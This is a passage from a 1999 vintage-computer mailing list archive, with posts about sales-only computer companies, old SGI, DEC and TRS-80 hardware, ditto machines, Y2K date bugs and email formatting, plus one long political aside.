ways. One could buy radio components from a radio parts supplier, setup on the kitchen table and build several dozen or more radios to sell at the local hardware stores or automobile supply stores. Most of those small companies died. Sounds like many computer companies in the 70's and 80's and even PC companies in recent times. I'd like to discuss this subject even more as old radio history is one of my strongest areas of interest but we need to move on as it's quite off-topic here. To do that, and to segue the concept of Radio Corporation of America as being a mid-20's non-manufacturing radio company into classic computers, let me ask a question that I've thought of for some time now: Were there many computer companies, if any, who were not manufacturers but, like RCA from around 1921 to 1928, sales-only outfits? I'm thinking of pre-PC compatible days, '82 and earlier, because as you know, any major or fly-by-night outfit could put their name on a PC nowadays. Also, strictly non-PC computer companies are included even up to ten years ago (to keep it on classics). Keep it on-topic and change your Subject line if you reply on some other on-topic subject. Regards, Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From william at ans.net Fri Jan 8 14:07:52 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:39:53 2005 Subject: "Non-manufacturers" Was: Re: OFF TOPIC Radio comments... In-Reply-To: <4.1.19990108123634.00adaeb0@206.231.8.2> Message-ID: > The computer boom paralleled the radio boom in many ways. One could buy > radio components from a radio parts supplier, setup on the kitchen table > and build several dozen or more radios to sell at the local hardware stores > or automobile supply stores. Most of those small companies died. Sounds > like many computer companies in the 70's and 80's and even PC companies in > recent times. Yes, it is interesting to see how early clone BIOS chips were bootlegged just like the 201 triodes... William Donzelli william@ans.net From arfonrg at texas.net Fri Jan 8 14:31:06 1999 From: arfonrg at texas.net (Arfon Gryffydd) Date: Sun Feb 27 18:39:53 2005 Subject: Silicon Graphics Irix, Part II In-Reply-To: <199901081710.MAA18088@armigeron.com> References: Message-ID: <3.0.3.32.19990108143106.00922420@texas.net> Well, there are 3 of them for about $30.00 each... Huge cabinets and huge monitors... Are they worth grabbing? Can I use the monitors for anything? Can I connect them to my ARCnet/Ethernet/Parallel/Serial port network and be useful? At 12:09 PM 1/8/99 -0500, you wrote: >It was thus said that the Great William Donzelli once stated: >> >> > I have a chance to grab some Silicon graphics Irix 31xx machines... They >> > SEEM to need a boot tape. Anyone know anything about these boxes? What's >> > the OS? >> >> You are going to want and OLD version of IRIX (around version 3), as these >> boxes were fairly quickly kicked off the support wagon (SGI seems to be >> kind of bad about that). These old things are not incredibly usefull Unix >> boxes, as X was never (to my knowledge) ported to them. The graphics are >> quite good even today, as it probably has a board stuffed with Geometry >> Engines. > > If the systems in question are based upon the MIPS R3000, you can also get >IRIX 4.x. That has X (if you really need it). IRIX 3.x used NeWS for the >GUI, which is a very nice windowing system based upon Postscript of all >things. > > -spc (Hated when SGI switched from NeWS to X) > > > From arfonrg at texas.net Fri Jan 8 14:36:48 1999 From: arfonrg at texas.net (Arfon Gryffydd) Date: Sun Feb 27 18:39:53 2005 Subject: TRS-80 Model 16 stuff.... In-Reply-To: <368DE3D9.14FEE91B@mindspring.com> References: Message-ID: <3.0.3.32.19990108143648.0092a200@texas.net> Hey, I just picked up a TRS-80 Model 16!!! WHOO HOO!!! Anyone have a pinout for the keyboard???? Anyone have a boot disc that they can copy and sell to me????? From dastar at ncal.verio.com Fri Jan 8 14:48:36 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:53 2005 Subject: Sociology and Message formatting In-Reply-To: <199901081937.MAA01550@calico.litterbox.com> Message-ID: On Fri, 8 Jan 1999, Jim Strickland wrote: > > > Shure, today they are no longer produced with typewriters and > > > Spiritusumdrucker (sorry missing word - a copyingdevice using > > > special sheets and spirit for duplication), but rather on PCs > > > or high class DTP stations, but thats just the tool. > > > > Spiritusumdrucker! What a fantastic word! I think that would be a > > mimeograph? > > I always heard them called ditto machines. Print in blue ink that wipes off. Sure but I think the actual latin name for them is mimeograph. > We had them in grade school. We did NOT have a photocopier - they were Me too. I used to have ditto duty making copies for the teacher. I also used to make up mazes and got to use the machine to make copies for the classmates. > apparently monstrously expensive to purchase and maintain at the time. > By the time I got to high school inexpesive photocopiers were readily > available, although we used the ditto machines even then. The > photocopier was fine for short runs or things where copy quality was > important. The ditto machine was faster and much cheaper per copy. > Of course I'm sure the ink on the master and the solvent on the > machine are carcinogens... (just kidding) By the time I was in high school dittos were a distant memory. To put it in (classiccmp) perspective, by that time inkjets were still on the horizon and dot matrix printers were still the shit. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From dastar at ncal.verio.com Fri Jan 8 14:53:52 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:53 2005 Subject: "Non-manufacturers" In-Reply-To: <4.1.19990108123634.00adaeb0@206.231.8.2> Message-ID: On Fri, 8 Jan 1999, Christian Fandt wrote: > Were there many computer companies, if any, who were not manufacturers but, > like RCA from around 1921 to 1928, sales-only outfits? I'm thinking of > pre-PC compatible days, '82 and earlier, because as you know, any major or > fly-by-night outfit could put their name on a PC nowadays. Also, strictly > non-PC computer companies are included even up to ten years ago (to keep it > on classics). Keep it on-topic and change your Subject line if you reply on > some other on-topic subject. Sure, plenty! I can't think of a whole lot of good examples right now, but for starters there was Bell & Howell with their "RARE!" black Apple II models. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From meo at netads.com Fri Jan 8 15:20:31 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:53 2005 Subject: Silicon Graphics Irix In-Reply-To: <3.0.3.32.19990108092253.00924360@texas.net> from "Arfon Gryffydd" at Jan 8, 99 09:22:53 am Message-ID: <199901082120.PAA21564@wildride.netads.com> Arfon Gryffydd said... | |I have a chance to grab some Silicon graphics Irix 31xx machines... They |SEEM to need a boot tape. Anyone know anything about these boxes? What's |the OS? Where are you located? Are there more than you want? From donm at cts.com Fri Jan 8 15:19:37 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:53 2005 Subject: Sociology and Message formatting In-Reply-To: <199901081817.NAA18748@hiway1.exit109.com> Message-ID: On Fri, 8 Jan 1999, John Ruschmeyer wrote: > > On Fri, 8 Jan 1999, Hans Franke wrote: > > > > > Shure, today they are no longer produced with typewriters and > > > Spiritusumdrucker (sorry missing word - a copyingdevice using > > > special sheets and spirit for duplication), but rather on PCs > > > or high class DTP stations, but thats just the tool. > > > > Spiritusumdrucker! What a fantastic word! I think that would be a > > mimeograph? > > Actually, I think it's a Dittograph, the ones which produced the cool > blue copies. > > <<>> A close relative of the hectograph which used a gelatine sheet to receive and dispense that blue agent that passed for ink. I remember building one as a youngster. - don From sinasohn at ricochet.net Fri Jan 8 16:00:13 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:39:53 2005 Subject: y2k stuff Message-ID: <3.0.16.19990108133552.3dffd236@ricochet.net> At 05:25 PM 1/4/99 -0700, you wrote: >What boggles the mind is that this is a problem at all. It seems hard to >believe (in retrospect) that people really did deliberately build software >with only 2 digit years. I know it saved a few bytes, and yes, I remember 1,000,000 records (a small sample) x 2 bytes x 3 dates (birthdate, initial trx, most recent trx) = 6,000,000 bytes. That was a lot 20 years ago. Keep in mind, also, that reading in a record required enough workspace to hold the record, and this may have been a limiting factor as well. Not to mention bandwidth issues -- we may not think much of downloading a 6MB file now, but imagine doing that 20 years ago with a 300bps modem. >when a byte of memory was a significant amount, but still. How did standard >programming practice come to be so short sighted as to assume that software >infrastructure would be thrown out and replaced on a regular basis? Today it is. We keep hoping that one of these days Microbloat will get it right... 8^) But seriously, 20+ years ago, it wasn't so much that it was expected that it would be replaced as it was the idea that if they can get the software out the door now, they may still be around to fix the problem later, whereas if they hold off, they may not be around. It was also a self-perpetuating problem. No point in building a 4-digit date if your source data (internal or external) is 2-digits. In fact, a 4-digit program might fail if given 2-digit data. There are lots of reasons, many of them valid (at the time). --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Fri Jan 8 16:00:16 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:39:53 2005 Subject: Y2K stuff Message-ID: <3.0.16.19990108133948.734f9e44@ricochet.net> At 05:33 PM 1/4/99 -0700, you wrote: >those credit card pumps may not be ok, even if the credit card is. Do I An unrelated but similar (and ironically timed) issue is that of the new US 20 dollar bills. I have seen a lot of vending machines/gas pumps/etc. that indicate they cannot handle the new bills. The problem is, bills typically last 18 months at most. I expect that by summer, we won't see any more old-style $20's in circulation. A real problem if they haven't updated the machines yet. (Hmmm... Maybe I'll start hoarding old 20's... 8^) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From cfandt at netsync.net Fri Jan 8 16:15:31 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:39:53 2005 Subject: "Non-manufacturers" In-Reply-To: References: <4.1.19990108123634.00adaeb0@206.231.8.2> Message-ID: <4.1.19990108171223.00adf390@206.231.8.2> At 12:53 01/08/99 -0800, Sellam wrote: >On Fri, 8 Jan 1999, Christian Fandt wrote: > >> Were there many computer companies, if any, who were not manufacturers but, >> like RCA from around 1921 to 1928, sales-only outfits? I'm thinking of >> pre-PC compatible days, '82 and earlier, because as you know, any major or >> fly-by-night outfit could put their name on a PC nowadays. Also, strictly >> non-PC computer companies are included even up to ten years ago (to keep it >> on classics). Keep it on-topic and change your Subject line if you reply on >> some other on-topic subject. > >Sure, plenty! I can't think of a whole lot of good examples right now, >but for starters there was Bell & Howell with their "RARE!" black Apple II >models. Were those black models part of the equipment one got with the Bell & Howell mail order computer electronics school? If so, I had not thought of that type of "non-manufacturer". --Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From dcoward at pressstart.com Fri Jan 8 16:30:36 1999 From: dcoward at pressstart.com (Doug Coward) Date: Sun Feb 27 18:39:53 2005 Subject: Need Help was Old bank accounts Message-ID: <19990108142018.14a7b6c5.in@mail.pressstart.com> OK, I give up! Since the list is no longer plain text, will someone familiar with Eudora Pro 4.0 PLEASE tell me how to configure Eudora it so that formatting like this: ****************** START PASTE ************************* ------=_NextPart_000_0004_01BE3A7A.7073A200 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ***************** END PASTE **************************** Doesn't cause the rest of the digest to look like this: ***************** START PASTE ************************** ------------------------------ Date: Thu, 7 Jan 1999 21:35:15 -0600 From: "Paul Braun" To: classiccmp@u.washington.edu Subject: RE: Kim-1 Computer Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Date sent: Thu, 7 Jan 1999 06:57:41 -0600 (CST) Send reply to: classiccmp@u.washington.edu From: Doug Yowza To: "Discussion re-collecting of classic computers" Subject: RE: Kim-1 Computer Originally to: Discussion re-collecting of classic computers > Mine is a late model S/N 6176, postage cancled on May 18, 1977. > >From the few data points so far, I'd say we've got monotonically > increasing serial numbers starting with 1. (Of course, if they were C > programmers, then the first one is S/N 0.) > > -- Doug OK. I had to look. My second KIM is #1051 with a Rev. A board. It has the white ceramic MOS chips. This one shows plenty of wear, however. It's mounted on a piece of masonite with a socket for the one edge connector, a little bracket for a couple of 1/8" phone plugs (tape connections), an expansion port (Centronics-type, I assume this is where it was cabled up to a modified Selectric) and a terminal strip for power. The LED's have had sockets installed under them, since I assume the originals burned out. The 6502 also is socketed. This KIM was used by Stan Ockers and Jim Butterfield while writing the "First Book of KIM". Stan would take it, in the little briefcase he gave me along with it, to a computer club meeting in Chicago where a guy had an IBM Selectric that he had modified to work as a printer. Stan would load the programs he, Jim, and their partner (sorry -- don't have my FBOK in front of me and the other name escapes me) had written, and then print them out on the Selectric. These printouts were then cut and pasted into the layout for the book. Is the bottom numbe on the die cover the date code? If so, my 6502 is dated 1576. The thing is, regardless of how much they sell for on e-pay, it means so much more to me that Stan sat down and talked to me for an hour and a half about the book and computing in those days and then gave me his KIM that I couldn't think about selling it. Paul Braun NerdWare -- The History of the PC and the Nerds who brought it to you. nerdware@laidbak.com www.laidbak.com/nerdware ********************* END PASTE ******************* THANK YOU VERY MUCH ========================================= Doug Coward Press Start Inc. Sunnyvale,CA ========================================= From ard at p850ug1.demon.co.uk Fri Jan 8 12:45:26 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:53 2005 Subject: new to the list In-Reply-To: <199901080835.BAA03203@canuck.com> from "Victor the Cleaner" at Jan 8, 99 01:35:36 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2063 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990108/b461f9f8/attachment.ksh From yowza at yowza.com Fri Jan 8 17:08:33 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:53 2005 Subject: new to the list In-Reply-To: Message-ID: On Fri, 8 Jan 1999, Tony Duell wrote: > > I can't imagine why you'd want one. The big Intecolors were mildly > > I can. It'd be fun (for suitable values of fun).... I think the original poster stated explicitly that he wanted it for reasons of nostalgia, perhaps the top reason most of us want an old machine. When anybody asks me why the hell I would want some old machine, I take off my shoe and pound it on the table 1-10 times: 1) Nostalgia! I used to have/use one! 2) Revenge! I couldn't afford one when new, now I can! 3) History! Save it from the dumpster for the benefit of mankind. 4) Money! I'll be rich when I sell this crap to some sucker! 5) Beanie Mania! I don't have this model in this color! 6) Fun! I can't afford a real hobby! 7) Furniture! And it makes a great coffee table! 8) Pizzaz! Because I really do Think Different! 9) Pride! Because it means I'll have one and you won't, you dolt! 10) The real reason: because it's there. -- Doug From joe at barrera.org Fri Jan 8 17:57:13 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:39:53 2005 Subject: DECstation 5000/125 Message-ID: <02ea01be3b62$a1421950$11d53d9d@JOEBAR> Okay, okay, so a DECstation 5000/125 isn't very "vintage". But I did manage to save one from certain death from my grad school (Carnegie Mellon), and it has a nice big 21" monitor, two big 5 1/4" SCSI drives (each around 1/2 a GB)... and no bootable OS. It used to run Mach (I was on the Mach project at CMU), but I'd really like to run VMS on the thing. Does anyone know how/where/if I can get VMS loaded onto this guy? Thanks all, - Joe From sethm at loomcom.com Fri Jan 8 18:10:48 1999 From: sethm at loomcom.com (Seth J. Morabito) Date: Sun Feb 27 18:39:53 2005 Subject: DECstation 5000/125 In-Reply-To: <02ea01be3b62$a1421950$11d53d9d@JOEBAR> from "Joseph S. Barrera III" at Jan 8, 99 03:57:13 pm Message-ID: <199901090010.QAA02996@loomcom.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 933 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990108/a6b0cd02/attachment.ksh From yowza at yowza.com Fri Jan 8 18:11:43 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:53 2005 Subject: DECstation 5000/125 In-Reply-To: <02ea01be3b62$a1421950$11d53d9d@JOEBAR> Message-ID: On Fri, 8 Jan 1999, Joseph S. Barrera III wrote: > Does anyone know how/where/if I can get VMS loaded onto this guy? I'm confused. VMS for a DECstation? Don't you need a VAXstation for that? Or was VMS ported to MIPS? -- Doug From netcafe at pirie.mtx.net.au Fri Jan 8 18:24:37 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:39:53 2005 Subject: Americans (was: Re: Message formats) Message-ID: <01be3b66$708acc40$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Charles E. Fox To: Discussion re-collecting of classic computers Date: Saturday, 9 January 1999 0:50 Subject: Re: Americans (was: Re: Message formats) >At 01:12 PM 1/7/1999 +0000, you wrote: > The country is fine, but we always manage to elect nincompoops to govern it. You don't have a monopoly on that. We seem to have the same problem. It's probably due to the fact that mostly nincompoops run for office. Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From meo at netads.com Fri Jan 8 18:36:13 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:53 2005 Subject: new to the list In-Reply-To: <199901080835.BAA03203@canuck.com> from "Victor the Cleaner" at Jan 8, 99 01:35:36 am Message-ID: <199901090036.SAA22146@wildride.netads.com> Victor the Cleaner said... |I'm new in these parts, having been referred to the list during a quest |for some (very) old Data I/O programming equipment. ``I can't imagine why you'd want one. After all, [personal preference here]'' But so what? |I can't imagine why you'd want one. Doug pretty well covered my reasons. But beyond that, the ones I used never broke. They just didn't. Oh, they glitched out occasionally, and you had to reboot, but what didn't? For that matter, today, what Micro-based OS (besides BSD and Linux) won't? But so what? |One of the worst excuses for a roll-yer-own switcher |I've ever seen, and nonexistent development software. Development software? DEVELOPMENT SOFTWARE??? The OS was a BASIC with disk commmands, like most fo the other usable micros at the time. What development software? You boot. You type. It did cool stuff. [As opposed to everything that had development tools, which let you do big projects, but often took a week to get to the point that you had anything moving around the screen in an interesting fashion.] *That's* the way to get kids interested in graphics programming. If I can't get a Compucolor, I'll offer to buy my Mom's Mac ][, but I'd much rather have the Compucolor. (I suppose I could go dig the Sinclair out of the unopened boxes from three moves back...) [I thought the floppies were 8", not 5 1/4"...] |Words of advice: |If you want to learn graphics, go track down an SGI Indigo - the purple |cube. They're down in the couple-of-hundred-bucks zone now, and one of |the most elegantly built machines I've touched in almost 25 years in the |biz. No, I want my *kids* to explore their interest in graphics, and in programming. And I just want to play. Meanwhile, if someone wants to give me a decent line on a functioning Indigo for two hundred bucks, I won't argue with that, either. |On the subject of home-supers,... ``I can't imagine why you'd want one.'' [OK, so I'm lying, now!] I'd love a Cyber, esp. if I could get ahold of Ga. Tech's heavily modified operating system. -Miles, who'd love a VAX, too, but turned down a free 780 a few years ago because he didn't have the budget to get 3 phase power and A/C in his basement, and who later wished he'd gotten it, anyway. [Hmmm. I wonder of V the C is trying to scare us off the Compucolor market so he can corner it. 8^P ] From joe at barrera.org Fri Jan 8 18:31:59 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:39:53 2005 Subject: DECstation 5000/125 Message-ID: <032101be3b67$7933c9e0$11d53d9d@JOEBAR> Seth, Doug, Thanks, you're right, I'm confused. Looks like I'll track down NetBSD for my DECstation, and look into buying a VAXstation 3100 at some point. Thanks again, - Joe From red at bears.org Fri Jan 8 18:39:47 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:39:53 2005 Subject: Silicon Graphics Irix In-Reply-To: <3.0.3.32.19990108092253.00924360@texas.net> Message-ID: On Fri, 8 Jan 1999, Arfon Gryffydd wrote: > I have a chance to grab some Silicon graphics Irix 31xx machines... They > SEEM to need a boot tape. Anyone know anything about these boxes? What's > the OS? Wow, I want one. I don't suppose they're in or near Seattle? (: They're SGI's last Motorola 68k powered workstations. Pretty large machines---deskside at least. I don't know what the power requirements are. The IRIS 3000 series used 68020 processors. They run older versions of IRIX, which is SGI's flavour of BSD-ish SVR4 UNIX. I think the last version to support the Motorola CPUs was 3.2. This includes all IRIS 2000 and 3000 series machines. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From ard at p850ug1.demon.co.uk Fri Jan 8 17:02:39 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:53 2005 Subject: Sociology and Message formatting In-Reply-To: from "Sam Ismail" at Jan 8, 99 12:48:36 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1342 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990108/b0fe8e59/attachment.ksh From netcafe at pirie.mtx.net.au Fri Jan 8 18:42:55 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:39:53 2005 Subject: Sociology and Message formatting Message-ID: <01be3b68$ff44f760$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Sam Ismail To: Discussion re-collecting of classic computers Date: Saturday, 9 January 1999 5:44 Subject: Re: Sociology and Message formatting >On Fri, 8 Jan 1999, Hans Franke wrote: > >> Shure, today they are no longer produced with typewriters and >> Spiritusumdrucker (sorry missing word - a copyingdevice using >> special sheets and spirit for duplication), but rather on PCs >> or high class DTP stations, but thats just the tool. > >Spiritusumdrucker! What a fantastic word! I think that would be a >mimeograph? Quite probably. Spiritusumdrucker means "printer using spirits"? I think. Well, we just called it a Spirit Duplicator. We used to use them when I was still in Air Traffic Services to run off Pre Flight Information Bulletins for Pilots, (a list of NOTAMS, WX etc for their flight). Prior to that, we used to prepare them by means of a local teleprinter, with a perf tape that had the current stuff on it. Took a while though. (75 baud) By the time I left, we had caught up and were using a conventional photocopier. Cheers Geoff Roberts. Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From David.Freibrun at mvo.cendant.com Fri Jan 8 18:53:06 1999 From: David.Freibrun at mvo.cendant.com (Freibrun, David) Date: Sun Feb 27 18:39:53 2005 Subject: altaircomputers.org update... Message-ID: <3D2A1D98142ED2119F7D00A0C99DD15B2D6507@mvo-msg-002.cendantmvo.com> What's new? * Altair related auction archives from Ebay for 11/98, 12/98 now online * classiccmp archives w/Altair keyword available in easily searchable format * Steve Shepard inventory of Altair documentation now online * Altair owner registry is better organized and growing * New links always being added! > David Freibrun > http://altaircomputers.org > david.freibrun@mvo.cendant.com > (949)367-3881 > From sinasohn at ricochet.net Fri Jan 8 19:04:09 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:39:53 2005 Subject: Y2K stuff Message-ID: <3.0.16.19990108140829.4377fb8c@ricochet.net> At 08:29 PM 1/4/99 -0500, you wrote: >> Is it? My current credit card has an expiry date after the end of this >> year and I've never had any problems with it. I've got a credit card that expires in '00 and it doesn't work!!! Oh wait, it's at the limit. Never mind. 8^) >I think that 'maintenance errors' could potentially occur in power plants, >and what is more likely, some will be shut down just in case. Sure, and since I might crash into a building, I'll drive my car into one, just in case. There are a lot of people out there looking at what will happen on 1/1/00 (and, btw, 1/1/99, 2/29/00, 1/1/27, etc.) myself included. As a related anecdote, I recently found (and fixed) a M12 bug -- the system I wrote to manage events and generate web pages and e-mails for the Free List (http://www.sinasohn.com/freelist/) crashed and burned at the beginning of December because I had screwed up the date computations. A few frantic hours later and the Free List went out, better late than never. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Fri Jan 8 19:04:13 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:39:53 2005 Subject: y2k stuff Message-ID: <3.0.16.19990108142326.43776238@ricochet.net> At 11:48 PM 1/4/99 -0500, you wrote: > o *DATA* - what about all those data files which have been > recorded over the years? What form was date stored? Working on a work-around at the moment wherein we need to store 5 digit numbers, but the database (deployed at nearly 400 stores around the western US) has only 2 bytes for this field. Unfortunately, COBOL only allows values up to 9999 to be stored in a two byte field, even though 2 bytes can (in theory) hold numbers from 0 to 65535 (or -32766 to 32767 or so). So we need 4 bytes for COBOL to be able to deal with the new data. But, to roll out a database change like that to the stores would take 5-6 months (can't just muck around with live production systems, you know, and you can't do anything while the stores are open (i.e., taking in $$$).) Interestingly, the numbers we need to deal with are all less than 32000, so they will fit in 2 bytes. So the work-around will be to store the data as two character bytes and convert that within the program into a temporary 4 byte field. So what happens when the numbers get bigger than 32K? Well, I'm sure the system will have been replaced by then... 8^) (Actually, it will have; the new, replacement system was supposed to have been finished by now. We're just patching the old system until it's done.) >There are going to be more and more failures as we get closer. Last >year, there was a report that an insurance company which normally >issued 3-year policies could only do two-year. If they haven't >fixed the problem, they're probably down to one year now... In the late 1980's, I worked with a company that wrote software for leasing companies. Companies that leased big computers and heavy equipment. In addition to getting to know amortization tables intimately (I used to know the formula to compute payments/periods/rates/etc. by heart!) I got to know the y2k bug pretty well -- most of the leases were 10 year leases. We had a y2k version out by '90 or so. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Fri Jan 8 19:04:30 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:39:53 2005 Subject: Message formats Message-ID: <3.0.16.19990108154650.43775790@ricochet.net> At 12:10 AM 1/7/99 GMT, you wrote: >Outlook? I can assure you that it is possible to configure Microsoft >mailers to send formatted HTML (which IMHO should not be allowed at all) or >RTF in such a way that normal mailers simply see a plain text plus an >attachment. Which, I might add, is a pita. I end up with a directory full of files like "remessag" and "quantel" and such because of these stupid attachments. Overworks my hard drive, uses up disk space, and hides legitimate, important files. I dunno, but if you can't describe something adequately with plain text plus attachements (as in included when necessary) perhaps you don't understand your subject well enough. If you need to include formatting (such as Word files or data or even code) it can be sent as an attachment (which, I might add, is more useable than trying to cut and paste from an e-mail message.) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From ard at p850ug1.demon.co.uk Fri Jan 8 18:49:10 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:53 2005 Subject: new to the list In-Reply-To: from "Doug Yowza" at Jan 8, 99 05:08:33 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1032 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990109/1878548b/attachment.ksh From allisonp at world.std.com Fri Jan 8 19:07:49 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:53 2005 Subject: new to the list Message-ID: <199901090107.AA13307@world.std.com> <:: Perhaps this will help others out there in dating KIMs.... I tried <::slicing into the card to count the rings, but the results were <::inconclusive. < Message-ID: <3696B667.46ED7DB4@idirect.com> >Charles E. Fox > > The country is fine, but we always manage to elect nincompoops to govern it. > > You don't have a monopoly on that. We seem to have the same problem. > It's probably due to the fact that mostly nincompoops run for office. > Geoff Roberts > Computer Room Internet Cafe > Port Pirie > South Australia. > netcafe@pirie.mtx.net.au Jerome Fine replies: I think this thread is not appropriate - it is too old - and likely will not change. Human nature seems mostly to be to believe what we want to hear rather than to listen to what is being said and then try and figure out what will actually happen or what the truth actually is. More to the point, it is not so much that mostly nincompoops run for office, but, in my opinion, that they actually are voted into office. There are too many examples, so I won't even bother. I might give ONLY one example. In the house, at the very end of the 105th, the Democrats wanted witnesses and the Republicans did not. In the senate in the 106th, the Democrats want no witnesses and the Republicans want then. Of course, being politicians, they spout very high sounding reasons which are somewhat true - it is likely there is at least 1% of the truth in every reason - but the real reasons or at least the predominant ones are rarely mentioned and almost never admitted. And the public who are the voters and the news media in particular almost never demand the truth to be spoken and even more rarely ask the right questions. The primary reason the Democrats were anxious for witnesses in the house, in my opinion, was that it was more likely that the 106th congress with 5 fewer Republicans might just have enough Republicans to cross over to defeat the impeachment vote. If the 105th had delayed by even 2 weeks, the 106th would have had to vote to impeach and there might have been a different result. The fact that the 105th rushed the impeachment vote through at the very last second (well last day or 2) seems to me to be obvious. Now in the senate, the Republicans who want witnesses are likely calling for them so as to be able to introduce new material. On the other hand, if the house voted on mainly party lines (98% was the figure I think), then without new material to consider, most Democrats probably are confident that at worst the same thing would happened in the senate. Of course with 67 votes being required to remove Clinton and there being 55 to 45, a vote along mostly party lines would fail to remove Clinton. But, do the Democrats or Republicans actually say that? And do the media even ask the question? So, when I hear that politicians are mostly nincompoops, in turn I also must believe that the voters must also be the same. ONLY when there is a lot more truth and openness in both government and corporations and all of the things that we humans do with each other will things actually get better. In general, I would start by making every government conversation and document open to the public, except where privacy concerns chosen by the voters are of concern. In particular, this would include EVERY single aspect of the criminal justice system where all conversations and documents which led up to a trial would have to be completely open to the defence once a trial began, including copies of taped conversations by investigators which would be required to be turned over to the defence as well (every person working in or for the justice system would be required to record every conversation at work so as to ensure that the reason for every decision was known). There have been a large number of cases recently in both Canada and other so-called democratic countries in which justice went so far as to convict totally innocent people based on wilful blindness by the justice system at best or biased intent with wilful knowledge of hidden evidence favourable to the defence at worst. And that is when the justice system seems to be acting in an honest manner. What about the number of times a justice system official commits perjury and there is not even a charge laid, let alone a conviction? Sincerely yours, Jerome Fine P.S. Sorry, I got carried away with how I see this trial being held (Clinton) and many other trials, one of which in particular showed perjury being committed by a police officer while the trail was being televised and no consequences, not even being charged with perjury. And no one even mentions that aspect. And the perjury was not allowed to be properly demonstrated before the jury since when the defence asked to question the police officer who had committed perjury, the judge would not allow the questions by the defence to be done in front of the jury. HAS EVERYONE FORGOTTEN? Please don't think I am saying the Canadian justice system is any better. I think they are all very poor. BUT, let us also be thankful that we live in a so-called democracy (well it is better than what was in place 1000 years ago - it is improving). I just think that the key aspect is the truth and unless we all insist on the truth all the time, we can't complain when the truth rarely appears. P.P.S. Considering that this is in the message formats thread which discussed the human topic, maybe it is not so far off? From tim at thereviewguide.com Fri Jan 8 20:02:59 1999 From: tim at thereviewguide.com (Tim Hotze) Date: Sun Feb 27 18:39:53 2005 Subject: y2k stuff In-Reply-To: <802566F2.0047A351.00@WESTD90.pgen.co.uk> Message-ID: <199901090204.SAA10413@geocities.com> > So don't dismiss it too soon if someone says the computer won't let them do > it. Which reminds me of a story. An uncle of mine was going on vacation to Texas. He checks in at the 